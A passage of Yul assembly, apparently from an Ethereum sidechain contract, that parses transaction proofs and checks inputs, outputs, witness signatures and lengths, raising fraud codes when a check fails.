if iszero(mstack(Stack_ProofNumber)) {
// Proof 0 Block Header Position
mpush(Stack_BlockHeader, selectBlockHeader(FirstProof))
// Proof 0 Block Header Position
mpush(Stack_RootHeader, selectTransactionRoot(FirstProof))
// Return Stack Offset: (No Offset) First Transaction
mpush(Stack_SelectionOffset, 0)
// Proof 0 Transaction Root Producer
mpush(Stack_RootProducer, selectRootProducer(selectTransactionRoot(FirstProof)))
}
// If Second Transaction Processed, Set Block Header Position (On Second Proof)
if gt(mstack(Stack_ProofNumber), 0) {
// Proof 1 Block Header Position
mpush(Stack_BlockHeader, selectBlockHeader(SecondProof))
// Proof 0 Block Header Position
mpush(Stack_RootHeader, selectTransactionRoot(SecondProof))
// Return Stack Offset: Offset Memory Stack for Second Proof
mpush(Stack_SelectionOffset, SelectionStackOffsetSize) // 4 => Metadata, Input, Output, Witness Position
// Proof 1 Transaction Root Position
mpush(Stack_RootProducer, selectRootProducer(selectTransactionRoot(SecondProof)))
}
// Increase memory position past length Specifiers
memoryPosition := safeAdd(memoryPosition, TransactionLengthSize)
// Transaction Proof Stack Return
// 8) Metadata Tx 1, 9) Input Tx 1, 10) Output, 11) Witness Memory Position
// 12) Metadata Tx 2, 13) Input Tx 2, 14) Output, 15) Witness Memory Position
// VALIDATE Inputs Index from Inputs Length -> 0
for { mpush(Stack_Index, 0) }
lt(mstack(Stack_Index), inputsLength)
{ mpush(Stack_Index, safeAdd(mstack(Stack_Index), 1)) } {
// Check if This is Input Requested
if eq(mstack(Stack_Index), selectInputSelectionIndex(transactionData)) {
// Store Metadata Position in Stack
mpush(safeAdd(Stack_MetadataSelected, mstack(Stack_SelectionOffset)),
combineUint32(mstack(Stack_Metadata), memoryPosition, mstack(Stack_Index), 0))
}
// Select Input Type
switch selectInputType(memoryPosition)
case 0 { // InputType UTXO
// Increase Memory pointer
let length, utxoID, witnessReference := selectAndVerifyInputUTXO(memoryPosition,
witnessesLength)
// If UTXO/Deposit Proofs provided
if gt(utxoProofs, 0) {
let outputAmount, outputOwner,
tokenID := selectAndVerifyUTXOAmountOwner(mstack(Stack_UTXOProofs), 0, utxoID)
// Increase input sum
if eq(tokenID, mstack(Stack_SummingTokenID)) {
mpush(Stack_InputsSum, safeAdd(mstack(Stack_InputsSum), outputAmount))
}
// Increase UTXO proof memory position
mpush(Stack_UTXOProofs, safeAdd(mstack(Stack_UTXOProofs), UTXOProofSize))
// Verify transaction witness
verifyTransactionWitness(selectWitnessSignature(mstack(Stack_Witnesses), witnessReference),
mstack(Stack_TransactionHashID), outputOwner, mstack(Stack_RootProducer))
}
// cannot select metadata that does not exist
// assertOrFraud(lt(inputIndex, mstack(Stack_MetadataLength)),
// FraudCode_TransactionInputMetadataOverflow)
// Verify metadata for this input (metadata position, block tip)
verifyTransactionInputMetadata(mstack(Stack_BlockHeader), mstack(Stack_RootHeader),
mstack(Stack_Metadata), mstack(Stack_BlockTip), mstack(Stack_Index))
// Increase metadata memory position
mpush(Stack_Metadata, safeAdd(mstack(Stack_Metadata), MetadataSize))
// Push Input Length
mpush(safeAdd(Stack_SelectedInputLength, mstack(Stack_SelectionOffset)), length)
// increase Memory Position
memoryPosition := safeAdd(memoryPosition, length)
}
case 1 { // InputType DEPOSIT (verify deposit owner / details witnesses etc)
// Select Input Deposit (Asserts Deposit > 0)
let length, depositHashID,
witnessReference := selectAndVerifyInputDeposit(memoryPosition, witnessesLength)
// If UTXO Proofs provided
if gt(utxoProofs, 0) {
// Owner
let depositOwner := selectInputDepositOwner(mstack(Stack_UTXOProofs))
// Constructed Deposit hash
let constructedDepositHashID := constructDepositHashID(mstack(Stack_UTXOProofs))
// Check Deposit Hash ID against proof
assertOrInvalidProof(eq(depositHashID, constructedDepositHashID),
ErrorCode_InvalidDepositProof)
// Verify transaction witness
verifyTransactionWitness(selectWitnessSignature(mstack(Stack_Witnesses), witnessReference),
mstack(Stack_TransactionHashID), depositOwner, mstack(Stack_RootProducer))
// Deposit Token
let depositToken := selectInputDepositToken(mstack(Stack_UTXOProofs))
// Increase Input Amount
if eq(depositToken, mstack(Stack_SummingToken)) {
mpush(Stack_InputsSum, safeAdd(mstack(Stack_InputsSum), getDeposits(depositHashID)))
}
// Increase UTXO/Deposit proof memory position
mpush(Stack_UTXOProofs, safeAdd(mstack(Stack_UTXOProofs), DepositProofSize))
}
// Push Input Length
mpush(safeAdd(Stack_SelectedInputLength, mstack(Stack_SelectionOffset)), length)
// Increase Memory Position
memoryPosition := safeAdd(memoryPosition, length)
}
case 2 { // InputType HTLC
// Select HTLC Input
let length, utxoID, witnessReference, preImage := selectAndVerifyInputHTLC(
memoryPosition, witnessesLength)
// If UTXO Proofs provided
if gt(utxoProofs, 0) {
let outputAmount, outputOwner, tokenID := selectAndVerifyUTXOAmountOwner(
mstack(Stack_UTXOProofs), 2, utxoID)
// Verify HTLC Data
verifyHTLCData(mstack(Stack_BlockHeader), memoryPosition, mstack(Stack_UTXOProofs))
// Verify transaction witness
verifyTransactionWitness(selectWitnessSignature(mstack(Stack_Witnesses), witnessReference),
mstack(Stack_TransactionHashID), outputOwner, mstack(Stack_RootProducer))
// Increase input sum
if eq(tokenID, mstack(Stack_SummingTokenID)) {
mpush(Stack_InputsSum, safeAdd(mstack(Stack_InputsSum), outputAmount))
}
// Increase UTXO proof memory position
mpush(Stack_UTXOProofs, safeAdd(mstack(Stack_UTXOProofs), UTXOProofSize))
}
// Verify metadata for this input (metadata position, block tip)
verifyTransactionInputMetadata(mstack(Stack_BlockHeader), mstack(Stack_RootHeader),
mstack(Stack_Metadata), mstack(Stack_BlockTip), mstack(Stack_Index))
// Increase metadata memory position
mpush(Stack_Metadata, safeAdd(mstack(Stack_Metadata), MetadataSize))
// Push Input Length
mpush(safeAdd(Stack_SelectedInputLength, mstack(Stack_SelectionOffset)), length)
// Increase Memory Position
memoryPosition := safeAdd(memoryPosition, length)
}
case 3 { // InputType CHANGE UNSPENT
// HTLC input
let length, utxoID, witnessReference := selectAndVerifyInputUTXO(memoryPosition, witnessesLength)
// If UTXO Proofs provided
if gt(utxoProofs, 0) {
let outputAmount, outputOwner,
tokenID := selectAndVerifyUTXOAmountOwner(mstack(Stack_UTXOProofs),
OutputType_Change, utxoID)
// witness signatures get enforced in invalidTransactionInput
// Increase input sum
if eq(tokenID, mstack(Stack_SummingTokenID)) {
mpush(Stack_InputsSum, safeAdd(mstack(Stack_InputsSum), outputAmount))
}
// Increase UTXO proof memory position
mpush(Stack_UTXOProofs, safeAdd(mstack(Stack_UTXOProofs), UTXOProofSize))
}
// Verify metadata for this input (metadata position, block tip)
verifyTransactionInputMetadata(mstack(Stack_BlockHeader), mstack(Stack_RootHeader),
mstack(Stack_Metadata), mstack(Stack_BlockTip), mstack(Stack_Index))
// Increase metadata memory position
mpush(Stack_Metadata, safeAdd(mstack(Stack_Metadata), MetadataSize))
// Push Input Length
mpush(safeAdd(Stack_SelectedInputLength, mstack(Stack_SelectionOffset)), length)
// Increase Memory Position
memoryPosition := safeAdd(memoryPosition, length)
}
// Assert fraud Invalid Input Type
default { assertOrFraud(0, FraudCode_InvalidTransactionInputType) }
// Increase Memory Pointer for 1 byte Type
memoryPosition := safeAdd(memoryPosition, TypeSize)
}
// Index from Outputs Length -> 0
for { mpush(Stack_Index, 0) }
lt(mstack(Stack_Index), outputsLength)
{ mpush(Stack_Index, safeAdd(mstack(Stack_Index), 1)) } {
// Check if input is requested
if eq(mstack(Stack_Index), selectOutputSelectionIndex(transactionData)) {
// Store Output Memory Position in Stack
mpush(safeAdd(Stack_OutputSelected, mstack(Stack_SelectionOffset)), memoryPosition)
}
// Select Output Type
switch selectOutputType(memoryPosition)
case 0 { // OutputType UTXO
// Increase Memory pointer
let length, amount, owner, tokenID := selectAndVerifyOutput(memoryPosition, False)
// Increase total output sum
if eq(tokenID, mstack(Stack_SummingTokenID)) {
mpush(Stack_OutputsSum, safeAdd(mstack(Stack_OutputsSum), amount))
}
// Increase Memory pointer
memoryPosition := safeAdd(length, memoryPosition)
}
case 1 { // OutputType withdrawal
// Increase Memory pointer
let length, amount, owner, tokenID := selectAndVerifyOutput(memoryPosition, False)
// Increase total output sum
if eq(tokenID, mstack(Stack_SummingTokenID)) {
mpush(Stack_OutputsSum, safeAdd(mstack(Stack_OutputsSum), amount))
}
// Increase Memory pointer
memoryPosition := safeAdd(length, memoryPosition)
}
case 2 { // OutputType HTLC
// Increase Memory pointer
let length, amount, owner, tokenID,
digest, expiry, returnWitness := selectAndVerifyOutputHTLC(memoryPosition,
witnessesLength)
// Check expiry is greater than its own block header
assertOrFraud(gt(expiry, selectBlockHeight(mstack(Stack_BlockHeader))),
FraudCode_OutputHTLCExpiryUnderflow)
// Increase total output sum
if eq(tokenID, mstack(Stack_SummingTokenID)) {
mpush(Stack_OutputsSum, safeAdd(mstack(Stack_OutputsSum), amount))
}
// Increase Memory pointer
memoryPosition := safeAdd(length, memoryPosition)
}
case 3 { // OutputType CHANGE UNSPENT
// Increase Memory pointer
let length, amount, witnessReference,
tokenID := selectAndVerifyOutput(memoryPosition, True)
// Invalid Witness Reference out of bounds
assertOrFraud(lt(witnessReference, witnessesLength),
FraudCode_TransactionOutputWitnessReferenceOverflow)
// Increase total output sum
if eq(tokenID, mstack(Stack_SummingTokenID)) {
mpush(Stack_OutputsSum, safeAdd(mstack(Stack_OutputsSum), amount))
}
// Increase Memory pointer
memoryPosition := safeAdd(length, memoryPosition)
}
// Assert fraud Invalid Input Type
default { assertOrFraud(0, FraudCode_InvalidTransactionOutputType) }
// Increase Memory Pointer for 1 byte Type
memoryPosition := safeAdd(memoryPosition, TypeSize)
}
// Assert Transaction Total Output Sum <= Total Input Sum
if gt(utxoProofs, 0) { assertOrFraud(eq(mstack(Stack_OutputsSum), mstack(Stack_InputsSum)),
FraudCode_TransactionSumMismatch) }
// Iterate from Witnesses Length -> 0
for { mpush(Stack_Index, 0) }
lt(mstack(Stack_Index), witnessesLength)
{ mpush(Stack_Index, safeAdd(mstack(Stack_Index), 1)) } {
// check if input is requested
if eq(mstack(Stack_Index), selectWitnessSelectionIndex(transactionData)) {
// Store Witness Memory Position in Stack
mpush(safeAdd(Stack_WitnessSelected, mstack(Stack_SelectionOffset)),
mstack(Stack_Witnesses))
}
// Increase witness memory position
mpush(Stack_Witnesses, safeAdd(mstack(Stack_Witnesses), WitnessSize))
}
// Check Transaction Length for Validity based on Computed Lengths
// Get Leaf Size details
let unsignedTransactionData, metadataSize,
witnessesSize, witnessLength := selectAndVerifyTransactionLeafData(transactionData)
// Select Transaction Length
let transactionLength := selectTransactionLength(transactionData)
// Metadata size
let providedDataSize := add3(TransactionLengthSize, metadataSize, witnessesSize)
// We should never hit this, but we will add in the protection anyway..
assertOrFraud(lt(providedDataSize, transactionLength),
FraudCode_ProvidedDataOverflow)
// Memory size difference
let unsignedTransactionLength := safeSub(transactionLength, providedDataSize)
// We should never hit this, but we will add in the protection anyway..
assertOrFraud(lt(unsignedTransactionData, memoryPosition),
FraudCode_ProvidedDataOverflow)
// Computed unsigned transaction length
// Should never underflow
let computedUnsignedTransactionLength := safeSub(memoryPosition, unsignedTransactionData)
// Invalid transaction length
assertOrFraud(eq(unsignedTransactionLength, computedUnsignedTransactionLength),
FraudCode_ComputedTransactionLengthOverflow)
// Pop Memory Stack
mpop(Stack_InputsSum)
mpop(Stack_OutputsSum)
mpop(Stack_Metadata)
mpop(Stack_Witnesses)
mpop(Stack_BlockTip)
mpop(Stack_UTXOProofs)
mpop(Stack_TransactionHashID)
mpop(Stack_MetadataLength)
mpush(Stack_SummingToken, 0) // load summing token
mpush(Stack_SummingTokenID, 0) // load summing token
mpop(Stack_Index)
// We leave Memory Stack 6 for Secondary Transaction Proof Validation
// We don't clear 7 - 15 (those are the returns from transaction processing)
// Warning: CHECK Transaction Leaf Length here for Computed Length!!
}
mpop(Stack_Index)
//
// SELECTOR METHODS
// For selecting, parsing and enforcing side-chain abstractions, rules and data across runtime memory
//
// Select the UTXO ID for an Input
function selectUTXOID(input) -> utxoID {
// Past 1 (input type)
utxoID := mload(safeAdd(input, TypeSize))
}
// Select Metadata
function selectMetadata(metadata) -> blockHeight, transactionRootIndex,
transactionIndex, outputIndex {
blockHeight := slice(metadata, 4)
transactionRootIndex := slice(safeAdd(metadata, 4), IndexSize)
transactionIndex := slice(safeAdd(metadata, 5), 2)
outputIndex := slice(safeAdd(metadata, 7), IndexSize)
}
// Select Metadata Selected (Used after verifyTransactionData)
function selectInputSelectedHash(proofIndex) -> inputHash {
let offset := 0
// Second proof, move offset to 4
if gt(proofIndex, 0) { offset := SelectionStackOffsetSize }
// Input Hash Length (Type 1 Byte + Input Length Provided)
let inputHashLength := 0
// Input Memory Position
let input := selectInputSelected(proofIndex)
// Get lenght
switch selectInputType(input)
case 0 {
inputHashLength := 33
}
case 1 {
inputHashLength := 33
}
case 2 {
inputHashLength := 65
}
case 3 {
inputHashLength := 33
}
default { assertOrInvalidProof(0, 0) }
// Set metadata
inputHash := keccak256(input, inputHashLength)
}
// Select Metadata Selected (Used after verifyTransactionData)
function selectMetadataSelected(proofIndex) -> metadata {
let offset := 0
// Second proof, move offset to 4
if gt(proofIndex, 0) { offset := SelectionStackOffsetSize }
// Return metadata memory position
let metadataInput, input, unused,
unused2 := splitCombinedUint32(mstack(safeAdd(Stack_MetadataSelected, offset)))
// Set metadata
metadata := metadataInput
}
// Select Input Selected (Used after verifyTransactionData)
function selectInputSelected(proofIndex) -> input {
let offset := 0
// Second proof, move offset to 4
if gt(proofIndex, 0) { offset := SelectionStackOffsetSize }
// Get values
let metadata, inputPosition, unused,
unused2 := splitCombinedUint32(mstack(safeAdd(Stack_MetadataSelected, offset)))
// Input position
input := inputPosition
}
// Select Output Selected (Used after verifyTransactionData)
function selectOutputSelected(proofIndex) -> output {
let offset := 0
// Second proof, move offset to 4
if gt(proofIndex, 0) { offset := SelectionStackOffsetSize }
// Return metadata memory position
output := mstack(safeAdd(Stack_OutputSelected, offset))
}
// Select Witness Selected (Used after verifyTransactionData)
function selectWitnessSelected(proofIndex) -> witness {
let offset := 0
// Second proof, move offset to 4
if gt(proofIndex, 0) { offset := SelectionStackOffsetSize }
// Return metadata memory position
witness := mstack(safeAdd(Stack_WitnessSelected, offset))
}
function selectBlockHeaderLength(transactionProof) -> blockHeaderLength {
blockHeaderLength := load32(transactionProof, 0)
}
function selectTransactionRootLength(transactionProof) -> transactionRootLength {
transactionRootLength := load32(transactionProof, 1)
}
function selectMerkleProofLength(transactionProof) -> merkleProofLength {
merkleProofLength := load32(transactionProof, 2)
}
// Select Transaction Proof Lengths
function selectTransactionProofLengths(transactionProof) ->
lengthsLength,
blockHeaderLength,
transactionRootHeaderLength,
transactionDataLength,
transactionMerkleLength,
transactionUTXOLength {
// Compute Proof Length or Lengths
lengthsLength := mul32(5)
// If malformed block proof
if iszero(selectProofType()) {
lengthsLength := mul32(3)
}
// Select Proof Lengths
blockHeaderLength := load32(transactionProof, 0)
transactionRootHeaderLength := load32(transactionProof, 1)
transactionMerkleLength := load32(transactionProof, 2)
transactionDataLength := load32(transactionProof, 3)
transactionUTXOLength := load32(transactionProof, 4)
}
// Select Transaction Proof Memory Position
function selectTransactionProof(proofIndex) -> transactionProof {
// Increase proof memory position for proof type (32 bytes)
transactionProof := safeAdd(Calldata_MemoryPosition, mul32(1))
// Select second proof instead!
if gt(proofIndex, 0) {
// Get lengths
let lengthsLength,
blockHeaderLength,
transactionRootHeaderLength,
transactionDataLength,
transactionMerkleLength,
transactionUTXOLength := selectTransactionProofLengths(transactionProof)
// Secondary position
transactionProof := add4(
transactionProof, lengthsLength, blockHeaderLength,
add4(transactionRootHeaderLength, transactionMerkleLength,
transactionDataLength, transactionUTXOLength))
}
}
// Select Transaction Proof Block Header
function selectBlockHeader(proofIndex) -> blockHeader {
// Select Proof Memory Position
blockHeader := selectTransactionProof(proofIndex)
// If it's not the bond withdrawal
if lt(selectProofType(), 6) {
let lengthsLength,
blockHeaderLength,
transactionRootHeaderLength,
transactionDataLength,
transactionMerkleLength,
transactionUTXOLength := selectTransactionProofLengths(blockHeader)
// Block header (always after lengths)
blockHeader := safeAdd(blockHeader, lengthsLength)
}
}
function selectBlockProducer(blockHeader) -> blockProducer {
blockProducer := load32(blockHeader, 0)
}
function selectBlockHeight(blockHeader) -> blockHeight {
blockHeight := load32(blockHeader, 2)
}
function selectPreviousBlockHash(blockHeader) -> previousBlockHash {
previousBlockHash := load32(blockHeader, 1)
}
function selectTransactionRootsLength(blockHeader) -> transactionRootsLength {
transactionRootsLength := load32(blockHeader, 5)
}
function selectEthereumBlockNumber(blockHeader) -> ethereumBlockNumber {
ethereumBlockNumber := load32(blockHeader, 3)
}
// Select Transaction Root from Proof
function selectTransactionRoot(proofIndex) -> transactionRoot {
// Select Proof Memory Position
let transactionProof := selectTransactionProof(proofIndex)
// Get lengths
let lengthsLength,
blockHeaderLength,
transactionRootHeaderLength,
transactionDataLength,
transactionMerkleLength,
transactionUTXOLength := selectTransactionProofLengths(transactionProof)
// Select Transaction Root Position
transactionRoot := add3(transactionProof, lengthsLength, blockHeaderLength)
}
// Select Root Producer
function selectRootProducer(transactionRoot) -> rootProducer {
rootProducer := load32(transactionRoot, 0)
}
// Select Merkle Tree Root
function selectMerkleTreeRoot(transactionRoot) -> merkleTreeRoot {
merkleTreeRoot := load32(transactionRoot, 1)
}
// Select commitment hash from root
function selectCommitmentHash(transactionRoot) -> commitmentHash {
commitmentHash := load32(transactionRoot, 2)
}
// Select Transaction Root Index
function selectTransactionRootIndex(transactionRoot) -> transactionRootIndex {
transactionRootIndex := load32(transactionRoot, 3)
}
// Select Transaction Root from Proof
function selectTransactionMerkleProof(proofIndex) -> merkleProof {
// Select Proof Memory Position
merkleProof := selectTransactionProof(proofIndex)
// Get lengths
let lengthsLength,
blockHeaderLength,
transactionRootHeaderLength,
transactionDataLength,
transactionMerkleLength,
transactionUTXOLength := selectTransactionProofLengths(merkleProof)
// Select Transaction Root Position
merkleProof := add4(merkleProof, lengthsLength,
blockHeaderLength, transactionRootHeaderLength)
}
// Select First Merkle Proof
function selectMerkleTreeBaseLeaf(merkleProof) -> leaf {
leaf := load32(merkleProof, 3)
}
// Select Opposite Transaction Leaf in Merkle Proof
function selectOppositeTransactionLeaf(merkleProof) -> oppositeTransactionLeaf {
oppositeTransactionLeaf := mload(merkleProof)
}
// Select Merkle Tree Height
function selectMerkleTreeHeight(merkleProof) -> merkleTreeHeight {
merkleTreeHeight := load32(merkleProof, 2)
}
// Select Merkle Tree Height
function selectMerkleTree(merkleProof) -> merkleTree {
merkleTree := safeAdd(merkleProof, mul32(3))
}
// Select Transaction Data from Proof
function selectTransactionData(proofIndex) -> transactionData {
// Select Proof Memory Position
let proofMemoryPosition := selectTransactionProof(proofIndex)
// Get lengths
let lengthsLength,
blockHeaderLength,
transactionRootHeaderLength,
transactionDataLength,
transactionMerkleLength,
transactionUTXOLength := selectTransactionProofLengths(proofMemoryPosition)
// Select Transaction Data Position
transactionData := add4(proofMemoryPosition, lengthsLength,
blockHeaderLength, safeAdd(transactionRootHeaderLength, transactionMerkleLength))
}
function selectTransactionIndex(transactionData) -> transactionIndex {
transactionIndex := load32(transactionData, 3)
}
function selectInputIndex(transactionData) -> outputIndex {
outputIndex := load32(transactionData, 0)
}
function selectOutputIndex(transactionData) -> outputIndex {
outputIndex := load32(transactionData, 1)
}
function selectWitnessIndex(transactionData) -> outputIndex {
outputIndex := load32(transactionData, 2)
}
// Verify Transaction Lengths
function verifyTransactionProofLengths(proofCount) {
// Total Proof Length
let proofLengthWithoutType := 0
// Iterate and Compute Maximum length
for { let proofIndex := 0 }
and(lt(proofIndex, 2), lt(proofIndex, proofCount))
{ proofIndex := safeAdd(proofIndex, 1) } {
// Get lengths
let lengthsLength,
blockHeaderLength,
transactionRootHeaderLength,
transactionDataLength,
transactionMerkleLength,
transactionUTXOLength := selectTransactionProofLengths(selectTransactionProof(proofIndex))
// Add total proof length
proofLengthWithoutType := add4(add4(proofLengthWithoutType,
lengthsLength,
blockHeaderLength,
transactionRootHeaderLength),
transactionDataLength,
transactionMerkleLength,
transactionUTXOLength)
}
// Verify Proof Length Overflow
verifyProofLength(proofLengthWithoutType)
}
// Select Transaction Data from Proof
function selectTransactionUTXOProofs(proofIndex) -> utxoProofs {
// Select Proof Memory Position
let proofMemoryPosition := selectTransactionProof(proofIndex)
// Get lengths
let lengthsLength,
blockHeaderLength,
transactionRootHeaderLength,
transactionDataLength,
transactionMerkleLength,
transactionUTXOLength := selectTransactionProofLengths(proofMemoryPosition)
// Select Transaction Data Position
utxoProofs := safeAdd(selectTransactionData(proofIndex), transactionDataLength)
}
function selectWithdrawalToken(proofIndex) -> withdrawalToken {
withdrawalToken := load32(selectTransactionUTXOProofs(proofIndex), 0)
}
// select proof type
function selectProofType() -> proofType {
proofType := load32(Calldata_MemoryPosition, 0) // 32 byte chunk
}
// Select input
function selectInputType(input) -> result {
result := slice(input, 1) // [1 bytes]
}
// Select utxoID (length includes type)
function selectAndVerifyInputUTXO(input, witnessesLength) -> length, utxoID, witnessReference {
utxoID := mload(safeAdd(1, input))
witnessReference := slice(add3(TypeSize, 32, input), IndexSize)
length := 33 // UTXO + Witness Reference
// Assert Witness Index is Valid
assertOrFraud(lt(witnessReference, witnessesLength),
FraudCode_TransactionInputWitnessReferenceOverflow)
}
// Select Input Deposit Proof
function selectInputDepositOwner(depositProof) -> owner {
// Load owner
owner := load32(depositProof, 0)
}
// Select Input Deposit Proof
function selectInputDepositToken(depositProof) -> token {
// Load owner
token := load32(depositProof, 1)
}
// Select deposit information (length includes type)
function selectAndVerifyInputDeposit(input, witnessesLength) -> length,
depositHashID, witnessReference {
depositHashID := mload(safeAdd(input, TypeSize))
witnessReference := slice(add3(input, TypeSize, 32), IndexSize)
length := 33
// Assert deposit is not zero
assertOrFraud(gt(getDeposits(depositHashID), 0), FraudCode_TransactionInputDepositZero)
// Assert Witness Index is Valid
assertOrFraud(lt(witnessReference, witnessesLength),
FraudCode_TransactionInputDepositWitnessOverflow)
}
// Select HTLC information (length includes type)
function selectAndVerifyInputHTLC(input, witnessesLength) -> length, utxoID,
witnessReference, preImage {
utxoID := mload(safeAdd(input, TypeSize))
witnessReference := slice(add3(input, TypeSize, 32), IndexSize)
preImage := mload(add4(input, TypeSize, 32, IndexSize))
length := 65
// Assert valid Witness Reference (could be changed to generic witness ref overflow later..)
assertOrFraud(lt(witnessReference, witnessesLength),
FraudCode_TransactionHTLCWitnessOverflow)
}
// Select output type
function selectOutputType(output) -> result {
result := slice(output, TypeSize) // [1 bytes]
}
// Select output amounts length (length includes type)
function selectAndVerifyOutputAmountLength(output) -> length {
// Select amounts length past Input Type
length := slice(safeAdd(TypeSize, output), 1)
// Assert amounts length greater than zero
assertOrFraud(gt(length, 0), FraudCode_TransactionOutputAmountLengthUnderflow)
// Assert amounts length less than 33 (i.e 1 <> 32)
assertOrFraud(lte(length, 32), FraudCode_TransactionOutputAmountLengthOverflow)
}
// Select output utxo (length includes type)
function selectAndVerifyOutput(output, isChangeOutput) -> length, amount, owner, tokenID {
let amountLength := selectAndVerifyOutputAmountLength(output)
// Push amount
amount := slice(add3(TypeSize, 1, output), amountLength) // 1 for Type, 1 for Amount Length
// owner dynamic length
let ownerLength := 20
// is Change output, than owner is witness reference
if eq(isChangeOutput, 1) {
ownerLength := 1
}
// Push owner
owner := slice(add4(TypeSize, 1, amountLength, output), ownerLength)
// Select Token ID
tokenID := slice(add4(TypeSize, 1, amountLength, safeAdd(ownerLength, output)), 4)
// Assert Token ID is Valid
assertOrFraud(lt(tokenID, getNumTokens()), FraudCode_TransactionOutputTokenIDOverflow)
// Push Output Length (don't include type size)
length := add4(TypeSize, amountLength, ownerLength, 4)
}
// Select output HTLC
function selectAndVerifyOutputHTLC(output, witnessesLength) -> length, amount, owner,
tokenID, digest, expiry, returnWitness {
// Select amount length
let amountLength := selectAndVerifyOutputAmountLength(output)
// Select Output Details
length, amount, owner, tokenID := selectAndVerifyOutput(output, False)
// htlc
let htlc := add3(TypeSize, output, length)
// Select Digest from Output
digest := mload(htlc)
// Assert Token ID is Valid
assertOrFraud(gt(digest, 0), FraudCode_TransactionOutputHTLCDigestZero)
// Select Expiry
expiry := slice(safeAdd(htlc, DigestSize), ExpirySize)
// Assert Expiry is Valid
assertOrFraud(gt(expiry, 0), FraudCode_TransactionOutputHTLCExpiryZero)
// Set expiry, digest, witness
returnWitness := slice(add3(htlc, DigestSize, ExpirySize), IndexSize)
// Assert Valid Return Witness
assertOrFraud(lt(returnWitness, witnessesLength),
FraudCode_TransactionOutputWitnessReferenceOverflow)
// Determine output length (don't include type size)
length := add4(length, DigestSize, ExpirySize, IndexSize)
}
// Select the Transaction Leaf from Data
function selectTransactionLeaf(transactionData) -> leaf {
/*
- Transaction Data:
- inputSelector [32 bytes]
- outputSelector [32 bytes]
- witnessSelector [32 bytes]
- transactionIndex [32 bytes]
- transactionLeafData [dynamic bytes]
*/
// Increase memory past the 3 selectors and 1 Index
leaf := safeAdd(transactionData, mul32(6))
}
// Select transaction length
function selectTransactionLength(transactionData) -> transactionLength {
// Select transaction length
transactionLength := slice(selectTransactionLeaf(transactionData), 2)
}
// Select Metadata Length
function selectTransactionMetadataLength(transactionData) -> metadataLength {
// Select metadata length 1 bytes
metadataLength := slice(safeAdd(selectTransactionLeaf(transactionData), 2), 1)
}
// Select Witnesses (past witness length)
function selectTransactionWitnesses(transactionData) -> witnessesMemoryPosition {
// Compute metadata size
let metadataLength := selectTransactionMetadataLength(transactionData)
// Compute Metadata Size
let metadataSize := safeAdd(TypeSize, safeMul(MetadataSize, metadataLength)) // Length + metadata size
// Leaf + Size 2 + metadata size and witness size
witnessesMemoryPosition := add4(selectTransactionLeaf(transactionData), 2,
metadataSize, 1)
}
function selectWitnessSignature(witnesses, witnessIndex) -> signature {
// Compute witness offset
let witnessMemoryOffset := safeMul(witnessIndex, WitnessSize)
// Compute signature
signature := safeAdd(witnesses, witnessMemoryOffset)
}
// Note, we allow the transactionRootProducer to be a witness, witnesses length must be 1, zero fill 65 for witness data..
// Select Witnesses Signature
function verifyTransactionWitness(signature, transactionHashID, outputOwner, rootProducer) {
// Check if the witness is not the transaction root producer (i.e. a contract possibly)
if iszero(eq(rootProducer, outputOwner)) {
// Assert if witness signature is invalid!
assertOrFraud(eq(outputOwner, ecrecoverPacked(transactionHashID, signature)),
FraudCode_InvalidTransactionWitnessSignature)
}
}
// Select Transaction Leaf Data
function selectAndVerifyTransactionLeafData(transactionData) ->
transactionHashData, // transaction hash data (unsigned transaction data)
metadataSize, // total metadata chunk size (length + metadata)
witnessesSize, // total witness size (length + witnesses)
witnessesLength { // total witnesses length
// Compute metadata size
let metadataLength := selectTransactionMetadataLength(transactionData)
// Assert metadata length correctness (metadata length can be zero)
assertOrFraud(lte(metadataLength, TransactionLengthMax),
FraudCode_TransactionMetadataLengthOverflow)
// Compute Metadata Size
metadataSize := safeAdd(1, safeMul(MetadataSize, metadataLength)) // Length + metadata size
// Leaf + Size 2 + metadata size and witness size
transactionHashData := add3(selectTransactionLeaf(transactionData), 2, metadataSize)
// get witnesses length
witnessesLength := slice(transactionHashData, 1) // Witness Length
witnessesSize := safeAdd(1, safeMul(WitnessSize, witnessesLength)) // Length + witness size
// Leaf + Size 2 + metadata size and witness size
transactionHashData := safeAdd(transactionHashData, witnessesSize)
}
// Select Transaction Details
function selectAndVerifyTransactionDetails(transactionData) ->
memoryPosition, inputsLength, outputsLength, witnessesLength {
let unsignedTransactionData, metadataSize,
witnessesSize, witnessLength := selectAndVerifyTransactionLeafData(transactionData)
// Setup length (push to new name)
witnessesLength := witnessLength
// Set Transaction Data Memory Position
memoryPosition := unsignedTransactionData
// Assert witness length
assertOrFraud(gt(witnessesLength, TransactionLengthMin),
FraudCode_TransactionWitnessesLengthUnderflow)
assertOrFraud(lte(witnessesLength, TransactionLengthMax),
FraudCode_TransactionWitnessesLengthOverflow)
// Select lengths
inputsLength := slice(memoryPosition, 1) // Inputs Length
outputsLength := slice(safeAdd(1, memoryPosition), 1) // Outputs Length
// Assert inputsLength and outputsLength minimum
assertOrFraud(gt(inputsLength, TransactionLengthMin),
FraudCode_TransactionInputsLengthUnderflow)
assertOrFraud(gt(outputsLength, TransactionLengthMin),
FraudCode_TransactionOutputsLengthUnderflow)
// Assert Length overflow checks
assertOrFraud(lte(inputsLength, TransactionLengthMax),
FraudCode_TransactionInputsLengthOverflow)
assertOrFraud(lte(outputsLength, TransactionLengthMax),
FraudCode_TransactionOutputsLengthOverflow)
// Assert metadata length correctness (metadata length can be zero)
assertOrFraud(lte(selectTransactionMetadataLength(transactionData), inputsLength),
FraudCode_TransactionMetadataLengthOverflow)
// Assert selections are valid against lengths
assertOrInvalidProof(lt(selectInputSelectionIndex(transactionData), inputsLength),
ErrorCode_InputIndexSelectedOverflow)
assertOrInvalidProof(lt(selectOutputSelectionIndex(transactionData), outputsLength),
ErrorCode_OutputIndexSelectedOverflow)
assertOrInvalidProof(lt(selectWitnessSelectionIndex(transactionData), witnessesLength),
ErrorCode_WitnessIndexSelectedOverflow)
}
// Select Transaction Metadata (Past Length)
function selectTransactionMetadata(transactionData) -> transactionMetadata {
// Increase memory position past lengths
transactionMetadata := safeAdd(selectTransactionLeaf(transactionData), 3)
}
// Select UTXO proof
function selectAndVerifyUTXOAmountOwner(utxoProof, requestedOutputType, providedUTXOID) ->
outputAmount, outputOwner, tokenID {
/*
- Transaction UTXO Proof(s): -- 288 bytes (same order as inputs, skip Deposit index with zero fill)
- transactionHashId [32 bytes] -- bytes32
- outputIndex [32 bytes] -- padded uint8
- type [32 bytes] -- padded uint8
